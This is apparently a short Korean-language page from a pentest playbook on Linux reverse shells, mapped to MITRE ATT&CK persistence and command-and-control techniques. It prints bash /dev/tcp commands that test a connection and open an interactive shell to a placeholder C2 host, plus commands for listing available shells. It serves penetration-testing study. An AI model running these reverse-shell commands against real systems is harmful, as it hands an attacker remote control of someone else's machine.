Pentest Playbook

Shell을 이용한 Reverse Shell 연결

Linux 기반의 시스템에 침투를 가정했을 때, 스케쥴러 등록을 통해 공격 지속성을 확보할 수 있다.

MITRE ATT&CK 매핑

Index Description
Tactic TA0003 Persistence / TA0011 Command and Control
Technique T1053.005 - Scheduled Task/Job: Scheduled Task
Sub T1059.001 - PowerShell (페이로드 실행 시)

Reverse Shell Command

외부에서 Shell을 연결할 때 사용되는 명령어는 다양하게 구성되어 있다.
연결에 사용되는 명령어 및 설명은 다음과 같습니다.

1. bash

bash를 사용할 수 있는 기본적인 환경에서는, bulit-in되어 있는 /dev/tcp를 사용해서 연결 시도

#Shell에 연결하기 전, C2와 통신이 되는지 연결 테스트 수행
bash -c 'echo "connected" > /dev/tcp/c2.example.com/port'

#shell 연결 시도
bash -c 'bash -i >& /dev/tcp/c2.example.com/port 0>&1'

#시스템 Shell 확인 (bash 등 Shell이 안되는 경우 확인)
echo $0 #현재 접근된 shell 확인
cat /etc/shells #사용 가능한 모든 shell 확인
ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색